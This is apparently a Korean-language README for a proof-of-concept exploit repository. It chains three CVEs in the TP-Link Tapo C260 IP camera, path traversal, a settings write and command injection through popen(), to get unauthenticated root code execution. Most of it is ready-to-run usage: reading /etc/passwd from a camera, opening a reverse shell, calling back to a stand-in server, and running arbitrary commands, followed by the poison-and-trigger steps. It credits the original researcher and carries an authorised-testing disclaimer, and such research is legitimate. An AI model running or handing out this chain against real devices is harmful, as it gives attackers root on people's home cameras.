
PoC 익스플로잇 체인 — TP-Link Tapo C260 카메라용 CVE-2026-0651/0652/0653. @spaceraccoon의 연구.
TP-Link Tapo C260 IP 카메라에 대한 개념 증명 익스플로잇 체인으로, Eugene Lim (Spaceraccoon)이 발견한 세 가지 취약점을 연결하여 비인증 상태에서 루트 권한까지의 RCE를 달성합니다.
모든 취약점 연구 및 발견: Eugene Lim (@spaceraccoon)
이 저장소는 그의 공개 글(writeup)을 기반으로 한 PoC 구현입니다. 유용하게 사용하셨다면 그의 책도 구매해 주세요: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press).
| CVE | 유형 | 영향 |
|---|---|---|
| CVE-2026-0651 | 경로 탐색 / 로컬 파일 노출 | HTTP GET 핸들러의 /%2e%2e%2f를 통해 임의 파일 읽기 |
| CVE-2026-0652 | 임의 설정 쓰기 | 게스트 수준 사용자가 클라우드 API의 JSON 키 조작을 통해 모든 설정 경로에 쓰기 가능 |
| CVE-2026-0653 | 명령 주입 / 권한 상승 | set_region_code_handle이 검증되지 않은 dev_name 설정 값을 popen()에 전달 |
LFD (장치 설정 읽기) --> 설정 쓰기 (dev_name 오염) --> 지역 코드 핸들러 트리거 --> popen() --> 셸
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt
로컬 네트워크의 카메라에서 임의 파일 읽기:
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd
# 리버스 셸
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--lhost <YOUR_IP> \
--lport 4444
# 콜백 전용 (curl ping)
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--callback http://your-server.com/pwned
# 사용자 지정 명령
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--cmd "id > /tmp/pwned"
오염(Poison) — 조작된 JSON 키가 포함된 setLedStatus 요청을 전송하여 장치의 tp_manage/info/dev_name 설정 경로에 셸 메타문자 페이로드를 기록합니다.
트리거(Trigger) — set_region_code 요청을 전송합니다. 핸들러가 설정에서 dev_name을 읽어 검증 없이 popen() 호출에 삽입하여 주입된 명령을 실행합니다.
셸(Shell) — 공격자는 콜백 또는 리버스 셸을 수신합니다.
/bin/main 옴니버스 바이너리를 공유하는 다른 Tapo 모델도 잠재적으로 영향이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 오용에 대해 책임을 지지 않습니다. 소유하지 않은 장치에 대해 테스트하기 전에 항상 명시적 허가를 받으십시오.